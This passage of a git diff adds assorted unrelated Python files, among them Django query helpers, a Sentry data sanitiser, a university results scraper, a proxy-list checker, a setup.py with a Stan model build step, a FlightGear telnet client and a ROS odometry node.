must be enumeration" + bases = filter(lambda x: x is not Enum, bases) + self.__name__ = name + self.__bases__ = bases + self.__dict = {} + for key, value in dict.items(): + self.__dict[key] = EnumInstance(name, key, value) + + def __getattr__(self, name): + """Return an enumeration value. + + For example, Color.red returns the value corresponding to red. + + This looks in the class dictionary and if it is not found + there asks the base classes. + + The special attribute __members__ returns the list of names + defined in this class (it does not merge in the names defined + in base classes). + + """ + if name == '__members__': + return self.__dict.keys() + + try: + return self.__dict[name] + except KeyError: + for base in self.__bases__: + try: + return getattr(base, name) + except AttributeError: + continue + + raise AttributeError, name + + def __repr__(self): + s = self.__name__ + if self.__bases__: + s = s + '(' + string.join(map(lambda x: x.__name__, + self.__bases__), ", ") + ')' + if self.__dict: + list = [] + for key, value in self.__dict.items(): + list.append("%s: %s" % (key, int(value))) + s = "%s: {%s}" % (s, string.join(list, ", ")) + return s + + +class EnumInstance: + """Class to represent an enumeration value. + + EnumInstance('Color', 'red', 12) prints as 'Color.red' and behaves + like the integer 12 when compared, but doesn't support arithmetic. + + """ + + def __init__(self, classname, enumname, value): + self.__classname = classname + self.__enumname = enumname + self.__value = value + + def __int__(self): + return self.__value + + def __str__(self): + return self.__enumname + + def __repr__(self): + return "%s.%s int(%s)" % (self.__classname, self.__enumname, self.__value) + + def __cmp__(self, other): + if isinstance(other, EnumInstance): + return cmp(self.__value, int(other)) + else: + raise TypeError, "Invalid type to compare." + +# Create the base class for enumerations. +# It is an empty enumeration. +Enum = EnumMetaClass("Enum", (), {}) \ No newline at end of file diff --git a/pool/shard008/Python/0076493_datastructures.py b/pool/shard008/Python/0076493_datastructures.py new file mode 100644 index 0000000000000000000000000000000000000000..c2c347b3cf18f7e4925bbcd3123c58a3bfd6a92e --- /dev/null +++ b/pool/shard008/Python/0076493_datastructures.py @@ -0,0 +1,168 @@ +""" +Useful auxiliary data structures for query construction. Not useful outside +the SQL domain. +""" +from django.db.models.sql.constants import INNER, LOUTER + + +class MultiJoin(Exception): + """ + Used by join construction code to indicate the point at which a + multi-valued join was attempted (if the caller wants to treat that + exceptionally). + """ + def __init__(self, names_pos, path_with_names): + self.level = names_pos + # The path travelled, this includes the path to the multijoin. + self.names_with_path = path_with_names + + +class Empty: + pass + + +class Join: + """ + Used by sql.Query and sql.SQLCompiler to generate JOIN clauses into the + FROM entry. For example, the SQL generated could be + LEFT OUTER JOIN "sometable" T1 ON ("othertable"."sometable_id" = "sometable"."id") + + This class is primarily used in Query.alias_map. All entries in alias_map + must be Join compatible by providing the following attributes and methods: + - table_name (string) + - table_alias (possible alias for the table, can be None) + - join_type (can be None for those entries that aren't joined from + anything) + - parent_alias (which table is this join's parent, can be None similarly + to join_type) + - as_sql() + - relabeled_clone() + """ + def __init__(self, table_name, parent_alias, table_alias, join_type, + join_field, nullable, filtered_relation=None): + # Join table + self.table_name = table_name + self.parent_alias = parent_alias + # Note: table_alias is not necessarily known at instantiation time. + self.table_alias = table_alias + # LOUTER or INNER + self.join_type = join_type + # A list of 2-tuples to use in the ON clause of the JOIN. + # Each 2-tuple will create one join condition in the ON clause. + self.join_cols = join_field.get_joining_columns() + # Along which field (or ForeignObjectRel in the reverse join case) + self.join_field = join_field + # Is this join nullabled? + self.nullable = nullable + self.filtered_relation = filtered_relation + + def as_sql(self, compiler, connection): + """ + Generate the full + LEFT OUTER JOIN sometable ON sometable.somecol = othertable.othercol, params + clause for this join. + """ + join_conditions = [] + params = [] + qn = compiler.quote_name_unless_alias + qn2 = connection.ops.quote_name + + # Add a join condition for each pair of joining columns. + for lhs_col, rhs_col in self.join_cols: + join_conditions.append('%s.%s = %s.%s' % ( + qn(self.parent_alias), + qn2(lhs_col), + qn(self.table_alias), + qn2(rhs_col), + )) + + # Add a single condition inside parentheses for whatever + # get_extra_restriction() returns. + extra_cond = self.join_field.get_extra_restriction( + compiler.query.where_class, self.table_alias, self.parent_alias) + if extra_cond: + extra_sql, extra_params = compiler.compile(extra_cond) + join_conditions.append('(%s)' % extra_sql) + params.extend(extra_params) + if self.filtered_relation: + extra_sql, extra_params = compiler.compile(self.filtered_relation) + if extra_sql: + join_conditions.append('(%s)' % extra_sql) + params.extend(extra_params) + if not join_conditions: + # This might be a rel on the other end of an actual declared field. + declared_field = getattr(self.join_field, 'field', self.join_field) + raise ValueError( + "Join generated an empty ON clause. %s did not yield either " + "joining columns or extra restrictions." % declared_field.__class__ + ) + on_clause_sql = ' AND '.join(join_conditions) + alias_str = '' if self.table_alias == self.table_name else (' %s' % self.table_alias) + sql = '%s %s%s ON (%s)' % (self.join_type, qn(self.table_name), alias_str, on_clause_sql) + return sql, params + + def relabeled_clone(self, change_map): + new_parent_alias = change_map.get(self.parent_alias, self.parent_alias) + new_table_alias = change_map.get(self.table_alias, self.table_alias) + if self.filtered_relation is not None: + filtered_relation = self.filtered_relation.clone() + filtered_relation.path = [change_map.get(p, p) for p in self.filtered_relation.path] + else: + filtered_relation = None + return self.__class__( + self.table_name, new_parent_alias, new_table_alias, self.join_type, + self.join_field, self.nullable, filtered_relation=filtered_relation, + ) + + def equals(self, other, with_filtered_relation): + return ( + isinstance(other, self.__class__) and + self.table_name == other.table_name and + self.parent_alias == other.parent_alias and + self.join_field == other.join_field and + (not with_filtered_relation or self.filtered_relation == other.filtered_relation) + ) + + def __eq__(self, other): + return self.equals(other, with_filtered_relation=True) + + def demote(self): + new = self.relabeled_clone({}) + new.join_type = INNER + return new + + def promote(self): + new = self.relabeled_clone({}) + new.join_type = LOUTER + return new + + +class BaseTable: + """ + The BaseTable class is used for base table references in FROM clause. For + example, the SQL "foo" in + SELECT * FROM "foo" WHERE somecond + could be generated by this class. + """ + join_type = None + parent_alias = None + filtered_relation = None + + def __init__(self, table_name, alias): + self.table_name = table_name + self.table_alias = alias + + def as_sql(self, compiler, connection): + alias_str = '' if self.table_alias == self.table_name else (' %s' % self.table_alias) + base_sql = compiler.quote_name_unless_alias(self.table_name) + return base_sql + alias_str, [] + + def relabeled_clone(self, change_map): + return self.__class__(self.table_name, change_map.get(self.table_alias, self.table_alias)) + + def equals(self, other, with_filtered_relation): + return ( + isinstance(self, other.__class__) and + self.table_name == other.table_name and + self.table_alias == other.table_alias + ) diff --git a/pool/shard008/Python/0076513_test_refresh_crls.py b/pool/shard008/Python/0076513_test_refresh_crls.py new file mode 100644 index 0000000000000000000000000000000000000000..d37d67939c1cf2721bea902f331c4149f3080154 --- /dev/null +++ b/pool/shard008/Python/0076513_test_refresh_crls.py @@ -0,0 +1,91 @@ +# CMITS - Configuration Management for Information Technology Systems +# Based on . +# Copyright 2015 Jared Jennings . +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +from refresh_crls import CACert, CRL, openssl +from refresh_crls import CACertExpired +import unittest +from tempfile import mkdtemp +from shutil import rmtree +import os +import time + +class HasDir(unittest.TestCase): + def setUp(self): + self.dir = mkdtemp(prefix='fetchcrltest') + self.oldcwd = os.getcwd() + os.chdir(self.dir) + def tearDown(self): + os.chdir(self.oldcwd) + #rmtree(self.dir) + pass + +class CACertBase(HasDir): + def makeCert(self, dnElements=('C=US', 'O=Test', 'OU=Test', + 'CN=Flarble'), additionalConfig='', + additionalSwitches=''): + + cnf = file('cnf', 'w') + print >> cnf, """ +[ req ] +default_bits = 2048 +default_keyfile = privkey.pem +distinguished_name = req_distinguished_name +x509_extensions = v3_ca # The extentions to add to the self signed cert +input_password = secret +output_password = secret +days=-1 +prompt = no +%s +[ req_distinguished_name ] +%s +[ v3_ca ] +subjectKeyIdentifier=hash +authorityKeyIdentifier=keyid:always,issuer:always +basicConstraints = CA:true +""" % (additionalConfig, '\n'.join(dnElements)) + cnf.close() + cert = '\n'.join(openssl('req', '-new', '-x509', '-config', 'cnf', + *additionalSwitches.split())) + cert_filename = 'cert' + cfile = file(cert_filename, 'w') + print >> cfile, cert + cfile.close() + time.sleep(1) # make sure we're after the not-valid-before time + return cert_filename + +class TestCACert(CACertBase): + def testCN(self): + c = CACert(self.makeCert()) + self.assertEqual(c.cn, 'Flarble') + + def testValid(self): + c = CACert(self.makeCert()) + self.assert_(c.isValid()) + + def testInvalid(self): + c = CACert(self.makeCert(additionalSwitches='-days -1')) + self.assert_(not c.isValid()) + crl = CRL(c, self.dir, None) + self.assertRaises(CACertExpired, crl.fetch) + + def testDoDCRLSources(self): + # see req(1), 'DISTINGUISHED NAME ... FORMAT' section, about the + # 1.OU, 2.OU + c = CACert(self.makeCert(['C=US', 'O=U.S. Government', + '1.OU=DoD', '2.OU=PKI', 'CN=Unit Test CA'])) + self.assert_(len(c.getSources()) > 0) + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard008/Python/0076518_processor.py b/pool/shard008/Python/0076518_processor.py new file mode 100644 index 0000000000000000000000000000000000000000..311174ebb360981220c4763b2094589ce7621aeb --- /dev/null +++ b/pool/shard008/Python/0076518_processor.py @@ -0,0 +1,43 @@ +import json + +from django.conf import settings +from raven.processors import Processor + + +class JSONProcessor(Processor): + """ + This is a sentry wrapper to process the JSON and remove anything from it + that could be considered as leaking sensitive data. Sentry has some + processor for doing this, but they don't work with JSON posted in the body. + """ + def process(self, data, **kwargs): + http = data.get('sentry.interfaces.Http', None) + if not http: + return data + try: + http['data'] = json.dumps(sanitise(json.loads(http['data']))) + except (TypeError, ValueError): + # At this point we've got invalid JSON so things likely went + # horribly wrong. + pass + + return data + + +def sanitise(data, keys=None): + """Sanitises keys in a dictionary.""" + keys = keys or settings.SENSITIVE_DATA_KEYS + + def recurse(leaf): + for k, v in leaf.iteritems(): + if isinstance(v, dict): + recurse(v) + if k in keys: + leaf[k] = '*' * 8 + + try: + recurse(data) + except AttributeError: + return data + + return data diff --git a/pool/shard008/Python/0076520_result.py b/pool/shard008/Python/0076520_result.py new file mode 100644 index 0000000000000000000000000000000000000000..2051c3165393319c46f4485c9c281903d4ad0689 --- /dev/null +++ b/pool/shard008/Python/0076520_result.py @@ -0,0 +1,132 @@ +import os +import requests +import sys +from bs4 import BeautifulSoup +from collections import OrderedDict +from Queue import Queue +from threading import Thread + + +def get_file_name(base_dir, student): + return os.path.join(base_dir, "%s-%s.html" % (student['fac_no'], student['name'])) + + +def parse_type(data): + data = str(data) + + if data.isdigit(): + data = int(data) + elif '.' in data and data.replace('.', '', 1).isdigit(): + data = float(data) + + return data + + +class Downloader(object): + __base_url_format = "http://ctengg.amu.ac.in/web/table_resultnew.php?fac=%s&en=%s&prog=btech" + __store_path = 'store' + __concurrent = 200 + __retry_counter = {} + + def __init__(self, student_list): + if not os.path.exists(self.__store_path): + os.mkdir(self.__store_path) + self.students = student_list + self.q = Queue(self.__concurrent * 2) + for _ in xrange(self.__concurrent): + thread = Thread(target=self.consume) + thread.daemon = True + thread.start() + + def consume(self): + while True: + student = self.q.get() + if not self.process(student): + self.q.put(student) + self.q.task_done() + + def retry(self, en_no): + if en_no in self.__retry_counter: + if self.__retry_counter[en_no] > 5: + print 'Tried downloading results many times for enrolment number %s... Giving up now. Sorry :\'(' % en_no + return True + + self.__retry_counter[en_no] += 1 + else: + self.__retry_counter[en_no] = 0 + + return False + + + def process(self, student): + file_path = get_file_name(self.__store_path, student) + fac_no = student['fac_no'] + name = student['name'] + if os.path.isfile(file_path): + print "Result for %s - %s already exists. Skipping..." % (fac_no, name) + else: + en_no = student['en_no'] + + response = requests.get( + self.__base_url_format % (fac_no, en_no)) + + content = response.text + if response and 'CPI' in content: + out = open(file_path, 'w+') + out.write(content) + out.close() + print 'Result Downloaded %s' % file_path + elif response and 'Student record not found' in content: + print 'Either result is unavailable or error in credentials %s %s %s' % (fac_no, en_no, student['name']) + else: + return self.retry(en_no) + return True + + def download(self): + print 'Started downloading...' + try: + for student in self.students: + self.q.put(student) + self.q.join() + except KeyboardInterrupt: + sys.exit(1) + + def get_store_dir(self): + return self.__store_path + + +class Parser(object): + __base_dir = None + + def __init__(self, student_list, base_dir): + self.students = student_list + self.__base_dir = base_dir + if not os.path.isdir(self.__base_dir): + raise ValueError('Invalid store directory passed') + + @staticmethod + def parse_page(page): + table = BeautifulSoup(page, "html.parser") + credit_keys = ['faculty_number', + 'enrolment', 'name', 'ec', 'spi', 'cpi'] + dataset = None + + cred_table = table.find( + 'table', {'style': 'width:100%;text-align:center;'}) + for row in cred_table.find_all('tr')[1:]: + dataset = OrderedDict( + zip(credit_keys, (parse_type(cell.get_text()) for cell in row.find_all('td')))) + + return dataset + + def get_results(self): + results = [] + for student in self.students: + file_path = file_path = get_file_name(self.__base_dir, student) + try: + data = open(file_path, 'r') + results.append(Parser.parse_page(data.read())) + data.close() + except IOError: + print "Error opening file %s" % file_path + return results diff --git a/pool/shard008/Python/0076521_local.py b/pool/shard008/Python/0076521_local.py new file mode 100644 index 0000000000000000000000000000000000000000..d5df1a85ea753ad484bb0a551c36e9dfbfefec8b --- /dev/null +++ b/pool/shard008/Python/0076521_local.py @@ -0,0 +1,56 @@ +# -*- coding: utf-8 -*- +''' +Local Configurations + +- Runs in Debug mode +- Uses console backend for emails +- Use Django Debug Toolbar +''' +from configurations import values +from .common import Common, os, BASE_DIR + + +class Local(Common): + + # DEBUG + DEBUG = values.BooleanValue(True) + TEMPLATE_DEBUG = DEBUG + # END DEBUG + + # INSTALLED_APPS + INSTALLED_APPS = Common.INSTALLED_APPS + # END INSTALLED_APPS + + # Mail settings + EMAIL_HOST = 'localhost' + EMAIL_PORT = 1025 + EMAIL_BACKEND = values.Value('django.core.mail.backends.console.EmailBackend') + # End mail settings + + # django-debug-toolbar + MIDDLEWARE_CLASSES = Common.MIDDLEWARE_CLASSES + ('debug_toolbar.middleware.DebugToolbarMiddleware',) + INSTALLED_APPS += ('debug_toolbar',) + + INTERNAL_IPS = ('127.0.0.1', '10.0.2.2',) + + DEBUG_TOOLBAR_CONFIG = { + 'DISABLE_PANELS': [ + 'debug_toolbar.panels.redirects.RedirectsPanel', + ], + 'SHOW_TEMPLATE_CONTEXT': True, + } + # end django-debug-toolbar + + DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': os.path.join(BASE_DIR, 'blog.sqlite3'), + 'USER': '', + 'PASSWORD': '', + 'HOST': '', + 'PORT': '', + } + } + + + # Your local stuff: Below this line define 3rd party libary settings diff --git a/pool/shard008/Python/0076530_confsys.py b/pool/shard008/Python/0076530_confsys.py new file mode 100644 index 0000000000000000000000000000000000000000..94a02c1da4e970ccee1673022a0494cdb2738811 --- /dev/null +++ b/pool/shard008/Python/0076530_confsys.py @@ -0,0 +1,27 @@ +class Config(object): + def __init__(self, context, providedConfig, defaultConfig={}, requiredKeys=[]): + if providedConfig is None: + providedConfig = {} + for key in requiredKeys: + if key not in providedConfig: + raise ValueError(u'Must provide a value for', context, u'->', key) + self._provided = providedConfig + self._default = defaultConfig + for key in self._default.keys(): + if type(self._default[key]) is type({}): + self._provided[key] = Config(self._provided.get(key, {}), self._default[key]) + def __getitem__(self, key): + return self._provided.get(key, self._default.get(key, None)) + def __setitem__(self, key, value): + self._provided[key] = value + +class Configurable(object): + def __init__(self, name, providedConfig, defaultConfig={}, requiredKeys=[]): + self._name = name + self._config = Config(name, providedConfig, defaultConfig, requiredKeys) + def __getitem__(self, key): + return self._config[key] + def __setitem__(self, key, value): + self._config[key] = value + def __str__(self): + return self._name diff --git a/pool/shard008/Python/0076531_proxylister.py b/pool/shard008/Python/0076531_proxylister.py new file mode 100644 index 0000000000000000000000000000000000000000..bf8851d08d6e75630e16d695d07a55b9e8a2cdc6 --- /dev/null +++ b/pool/shard008/Python/0076531_proxylister.py @@ -0,0 +1,258 @@ +#!/usr/bin/python + +# Author : Xavier Garceau-Aranda +# Date : 26-07-2013 +# Last modification : +# Title : proxylister_v4.py +# Description : Parses ip:port from http://hidemyass.com, tests to +# see if the proxy is valid and writes results to a csv + +# check : http://stackoverflow.com/questions/10860983/python-proxy-list-check + +##################### +# Imports # +##################### + +import os +import string + +import socket +import urllib +import urllib2 + +import threading +from multiprocessing import Process + +from bs4 import BeautifulSoup +import premailer + + +##################### +# Variables # +##################### + +# all modules use socket so this sets the timeout for every request +socket.setdefaulttimeout(5) + +base_url ="http://hidemyass.com/proxy-list/" + + +##################### +# Functions # +##################### + +# Determine if the ip and port is a valid http proxy +def valid_http(ip, port) : + try : + proxy_handler = urllib2.ProxyHandler({'http': 'http://'+ip+':'+port+'/'}) + proxy_auth_handler = urllib2.ProxyBasicAuthHandler() + opener = urllib2.build_opener(proxy_handler, proxy_auth_handler) + opener.addheaders = [('User-agent','Mozilla/5.0')] + opener.open('http://google.com') + except Exception, e : + #print e,' : ',self.proxy_type,self.ip + return False + else : + return True + +# Determine if the ip and port is a valid https proxy +def valid_https(ip, port) : + try : + proxy_handler = urllib2.ProxyHandler({'http': 'https://'+ip+':'+port+'/'}) + proxy_auth_handler = urllib2.ProxyBasicAuthHandler() + opener = urllib2.build_opener(proxy_handler, proxy_auth_handler) + opener.addheaders = [('User-agent','Mozilla/5.0')] + opener.open('http://google.com') + except Exception, e : + #print e,' : ',self.proxy_type,self.ip + return False + else : + return True + +# Try connecting to socks proxy +# Does not validate it as a proxy, just means it is up +def valid_socks(ip, port) : + try : + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((self.ip,int(self.port))) + except Exception, e : + #print e,' : ',self.proxy_type,self.ip + return False + else : + return True + +# Parse the link page content and return ip +def parse_ip(link) : + # get content that could contain ip + link_parse = str(link('span')[1]).split('<') + + # parse ip + ip = '' + i = 0 + for span in link_parse : + if not 'style="display:none"' in span : + try : + octet = span.split('>')[1] + octet = octet.strip('.') + if octet.isdigit() : + ip +=str(octet)+'.' + i+=1 + except : + pass + # remove extra dot + ip = ip[:-1] + + # unable to correctly parse some ips (2-7/page), so will skip them + if i != 4 : + return + else : + return ip + +# Parse the link page content and return port +def parse_port(link) : + return str(link('td')[2].string).split('\n')[1] + +# Parse the link page content and return country +def parse_country(link) : + return str(link('span')).split('.png"/> ')[1][:-8] + +# Parse the link page content and return proxy type +def parse_proxy(link) : + return string.lower(link('td')[-2].string).encode('ascii', 'ignore') + +# Parse the link page content and return anonymity level +def parse_anonymity(link) : + return link('td')[-1].string + + +##################### +# Classes # +##################### + +# Thread class that checks for a single ip if it is valid and if so +# writes its infos in a file +class ip_thread(threading.Thread) : # subclass of threading.Thread + + def __init__(self, ip, port, country, proxy_type, anonymity_level, page) : + threading.Thread.__init__(self) # calls parent + self.ip = ip + self.port = port + self.country = country + self.proxy_type = proxy_type + self.anonymity_level = anonymity_level + self.page = page + + # essential method representing the thread's activity + def run(self) : + + if 'http' == self.proxy_type : + if valid_http(self.ip, self.port) : + page_file = open(self.page, 'a') + page_file.write(self.proxy_type+','+self.ip+','+self.port+','+self.country+','+self.anonymity_level+'\n') + page_file.close() + + elif 'https' == self.proxy_type : + if valid_https(self.ip, self.port) : + page_file = open(self.page, 'a') + page_file.write(self.proxy_type+','+self.ip+','+self.port+','+self.country+','+self.anonymity_level+'\n') + page_file.close() + + elif 'socks' in self.proxy_type : + if valid_socks(self.ip, self.port) : + page_file = open(self.page, 'a') + page_file.write(self.proxy_type+','+self.ip+','+self.port+','+self.country+','+self.anonymity_level+'\n') + page_file.close() + +# Process class that takes a webpage, finds the ips and dispatches threads to test them +class page_process(Process) : + + def __init__(self, url, page) : + Process.__init__(self) + self.url = url + self.page = page + + # essential method representing the process's activity + def run(self) : + + print 'Process : ',self.page + + # create file for later use + page_file = open(self.page, 'w') + page_file.close() + + html = urllib.urlopen(self.url) + # parse css to minimize attributes + parsed_html = premailer.transform(html.read()) + bs = BeautifulSoup(parsed_html, "lxml") + + # get table containing infos + linkTable = bs.find('table', {'id':'listtable', 'cellspacing':'0', 'cellpadding':'0', 'rel':'50'}) + + # get table content + linkList = linkTable('tr', {'class':''}) + linkList += linkTable('tr', {'class':'altshade'}) + # remove table headers + linkList = linkList[1:51] + + # parse every link on the page + link_job = [] # tread list + for link in linkList : + + ip = parse_ip(link) + + # unable to correctly parse some ips (2-7/page), so will skip them + if not ip : + pass + else : + # parse all info + port = parse_port(link) + country = parse_country(link) + proxy_type = parse_proxy(link) + anonymity_level = parse_anonymity(link) + + # test ip with thread + ipThread_worker = ip_thread(ip, port, country, proxy_type, anonymity_level, self.page) + ipThread_worker.setDaemon(True) + link_job.append(ipThread_worker) + ipThread_worker.start() + # start all threads + for job in link_job : + job.join() + + +##################### +# Main # +##################### +def main() : + + jobs = [] + for page in range(1,17) : + + url = base_url + str(page) + + # start one process per page + pageProcess_worker = page_process(url, str(page)) + pageProcess_worker.daemon = True + jobs.append(pageProcess_worker) + pageProcess_worker.start() + + for worker in jobs : + worker.join() + + # make global file and remove temporary + final_file = open('iplist_v4.csv', 'w') + for page in range(1,17) : + page_file = open(str(page), 'r').readlines() + for line in page_file : + final_file.write(line) + os.remove(str(page)) + final_file.close() + + +##################### +# Run main # +##################### + +if __name__ == "__main__": + main() + diff --git a/pool/shard008/Python/0076532_setup.py b/pool/shard008/Python/0076532_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..4aee10083d95f61f20711f9c9064a70b35ea7926 --- /dev/null +++ b/pool/shard008/Python/0076532_setup.py @@ -0,0 +1,149 @@ +#! /usr/bin/env python3 + +import importlib +import logging +import os +import subprocess + +from setuptools import setup +from setuptools.command.install import install as install +from setuptools.command.develop import develop as develop + + +logger = logging.getLogger(__name__) + + +stan_model_files = [ + os.path.join("nonperiodic", "no-periodicity.stan"), + os.path.join("nonperiodic", "start-high-high-low.stan"), + os.path.join("nonperiodic", "start-high-low-high.stan"), + os.path.join("periodic", "start-high-low-low.stan"), + os.path.join("untranslated", "gaussian-naive-bayes.stan"), + os.path.join("translated", "periodic-gaussian-mixture.stan") +] + + +stan_pickle_files = [ + os.path.join("nonperiodic", "no-periodicity.pkl"), + os.path.join("nonperiodic", "start-high-high-low.pkl"), + os.path.join("nonperiodic", "start-high-low-high.pkl"), + os.path.join("periodic", "start-high-low-low.pkl"), + os.path.join("untranslated", "gaussian-naive-bayes.pkl"), + os.path.join("translated", "periodic-gaussian-mixture.pkl") +] + + +def _pickle_it(stan, pickle): + + import shlex + + dirname = os.path.dirname(pickle) + if not os.path.exists(dirname): + os.makedirs(dirname) + + cmd = "pickle-stan {} {}".format(shlex.quote(stan), shlex.quote(pickle)) + logging.info(cmd) + subprocess.call(cmd, shell=True) + + +def _post_install(force_recompile): + + import site + importlib.reload(site) + + import pbio.ribo.ribo_filenames as filenames + import pbio.misc.shell_utils as shell_utils + + smf = [os.path.join("rpbp_models", s) for s in stan_model_files] + + models_base = filenames.get_default_models_base() + spf = [os.path.join(models_base, s) for s in stan_pickle_files] + + # Compile and pickle the Stan models + if force_recompile: + for stan, pickle in zip(smf, spf): + _pickle_it(stan, pickle) + else: # default + for stan, pickle in zip(smf, spf): + if os.path.exists(pickle): + msg = "A model already exists at: {}. Skipping.".format(pickle) + logging.warning(msg) + continue + _pickle_it(stan, pickle) + + # Check for the prerequisite programs + programs = ['flexbar'] + shell_utils.check_programs_exist(programs, raise_on_error=False, + package_name='flexbar', logger=logger) + + programs = ['STAR'] + shell_utils.check_programs_exist(programs, raise_on_error=False, + package_name='STAR', logger=logger) + + programs = ['bowtie2', 'bowtie2-build-s'] + shell_utils.check_programs_exist(programs, raise_on_error=False, + package_name='bowtie2', logger=logger) + + programs = ['samtools'] + shell_utils.check_programs_exist(programs, raise_on_error=False, + package_name='SAMtools', logger=logger) + + +class SetupInstall(install): + + user_options = install.user_options + [ + ('force-recompile', None, 'Set this flag to recompile the Stan models'), + ] + + def initialize_options(self): + install.initialize_options(self) + self.force_recompile = None + + def finalize_options(self): + install.finalize_options(self) + + def run(self): + force_recompile = self.force_recompile # 0 or 1 + + level = logging.getLevelName("INFO") + logging.basicConfig(level=level, + format='%(levelname)-8s : %(message)s') + + install.run(self) + # skip if RTD + if not os.environ.get('READTHEDOCS') == 'True': + _post_install(force_recompile) + + +class SetupDevelop(develop): + + user_options = develop.user_options + [ + ('force-recompile', None, 'Set this flag to recompile the Stan models'), + ] + + def initialize_options(self): + develop.initialize_options(self) + self.force_recompile = None + + def finalize_options(self): + develop.finalize_options(self) + + def run(self): + force_recompile = self.force_recompile # 0 or 1 + + level = logging.getLevelName("INFO") + logging.basicConfig(level=level, + format='%(levelname)-8s : %(message)s') + + develop.run(self) + # skip if RTD + if not os.environ.get('READTHEDOCS') == 'True': + _post_install(force_recompile) + + +setup( + cmdclass={ + 'install': SetupInstall, + 'develop': SetupDevelop + } +) diff --git a/pool/shard008/Python/0076535_FlightGear.py b/pool/shard008/Python/0076535_FlightGear.py new file mode 100644 index 0000000000000000000000000000000000000000..c2adab3664792317691ac0ee2ce1d6dfa7681211 --- /dev/null +++ b/pool/shard008/Python/0076535_FlightGear.py @@ -0,0 +1,151 @@ +from telnetlib import Telnet +from telnetlib import IAC, NOP +import socket +import re +from string import split + +__all__ = ["FlightGear"] + +CRLF = '\r\n' + +class FGTelnet(Telnet): + def __init__(self, host, port): + Telnet.__init__(self, host, port) + self.prompt = [] + self.sock.sendall(IAC + NOP) + self.prompt.append(re.compile('/[^>]*> ')) + self.timeout = 5 + # Telnet.set_debuglevel(self,2) + + def help(self): + return + + def ls(self, dir=None): + """ + Returns a list of properties. + """ + if dir == None: + self._putcmd('ls') + else: + self._putcmd('ls %s' % dir) + return self._getresp() + + def dump(self): + """Dump current state as XML.""" + self._putcmd('dump') + return self._getresp() + + def cd(self, dir): + """Change directory.""" + self._putcmd('cd ' + dir) + self._getresp() + return + + def pwd(self): + """Display current path.""" + self._putcmd('pwd') + return self._getresp() + + def get(self, var): + """Retrieve the value of a parameter.""" + self._putcmd('get %s' % var) + return self._getresp() + + def set(self, var, value): + """Set variable to a new value""" + self._putcmd('set %s %s' % (var, value)) + self._getresp() # Discard response + + def quit(self): + """Terminate connection""" + self._putcmd('quit') + self.close() + return + + # Internal: send one command to FlightGear + def _putcmd(self, cmd): + cmd = cmd + CRLF; + Telnet.write(self, cmd) + return + + # Internal: get a response from FlightGear + def _getresp(self): + (i, match, resp) = Telnet.expect(self, self.prompt, self.timeout) + # Remove the terminating prompt. + # Everything preceding it is the response. + return split(resp, '\n')[:-1] + + +class FlightGear: + """FlightGear interface class. + + An instance of this class represents a connection to a FlightGear telnet + server. + + Properties are accessed using a dictionary style interface: + For example: + + # Connect to flightgear telnet server. + fg = FlightGear('myhost', 5500) + # parking brake on + fg['/controls/gear/brake-parking'] = 1 + # Get current heading + heading = fg['/orientation/heading-deg'] + + Other non-property related methods + """ + + def __init__(self, host='localhost', port=5500): + try: + self.telnet = FGTelnet(host, port) + except socket.error, msg: + self.telnet = None + raise socket.error, msg + + def __del__(self): + # Ensure telnet connection is closed cleanly. + self.quit() + + def __getitem__(self, key): + """Get a FlightGear property value. + Where possible the value is converted to the equivalent Python type. + """ + s = self.telnet.get(key)[0] + match = re.compile('[^=]*=\s*\'([^\']*)\'\s*([^\r]*)\r').match(s) + if not match: + return None + value, type = match.groups() + # value = match.group(1) + #type = match.group(2) + if value == '': + return None + + if type == '(double)': + return float(value) + elif type == '(int)': + return int(value) + elif type == '(bool)': + if value == 'true': + return 1 + else: + return 0 + else: + return value + + def __setitem__(self, key, value): + """Set a FlightGear property value.""" + self.telnet.set(key, value) + + def quit(self): + """Close the telnet connection to FlightGear.""" + if self.telnet: + self.telnet.quit() + self.telnet = None + + def view_next(self): + # move to next view + self.telnet.set("/command/view/next", "true") + + def view_prev(self): + # move to next view + self.telnet.set("/command/view/prev", "true") diff --git a/pool/shard008/Python/0076536_gps_theta.py b/pool/shard008/Python/0076536_gps_theta.py new file mode 100644 index 0000000000000000000000000000000000000000..e8ca68a55d419e4a8d181bfd45f4edf0133c143f --- /dev/null +++ b/pool/shard008/Python/0076536_gps_theta.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python + +import rospy + +from nav_msgs.msg import Odometry +from geometry_msgs.msg import Quaternion +from tf.transformations import * +import math +import Queue + +''' +This node adds a theta to the gps by using the last data's position +''' +last_odom = Queue.Queue() + +def odom_cb(msg): + global last_odom + new_odom = msg + cov_yaw = 10000 + if last_odom.qsize() >= 6: + oldest = last_odom.get() + dx = msg.pose.pose.position.x - oldest.pose.pose.position.x + dy = msg.pose.pose.position.y - oldest.pose.pose.position.y + + # check diff big enough + if abs(dx) + abs(dy) > 0.3: + theta = math.atan(dy/dx) + if dx < 0: + theta+= math.pi + #print dx, dy, theta + theta_q = quaternion_from_euler(0,0,theta) + new_odom.pose.pose.orientation = Quaternion(theta_q[0], theta_q[1], theta_q[2], theta_q[3]) + cov_yaw = 0.1 #we have a relatively good data, lower covariance + + # copy covariance but change orientation x,y an z + cov = new_odom.pose.covariance + cov2 = [] + for i in range(0, len(cov)): + if i == 21 or i == 28: + cov2.append(10000) + elif i == 35: + cov2.append(cov_yaw) + elif i == 0 or i == 7 or i == 14: + cov2.append(0.1) + else: + cov2.append(cov[i]) + new_odom.pose.covariance = cov2 + pub_odom.publish(new_odom) + last_odom.put(msg) + +if __name__ == "__main__": + rospy.init_node('imu_wrapper') + global pub_odom + pub_odom = rospy.Publisher("/odometry/gps_theta", Odometry, queue_size=10) + rospy.Subscriber("/odometry/gps", Odometry, odom_cb) + rospy.spin() \ No newline at end of file diff --git a/pool/shard008/Python/0076537_upload_handler.py b/pool/shard008/Python/0076537_upload_handler.py new file mode 100644 index 0000000000000000000000000000000000000000..3fefebd0c642c8762c443eccd3e5b4eafd870efa --- 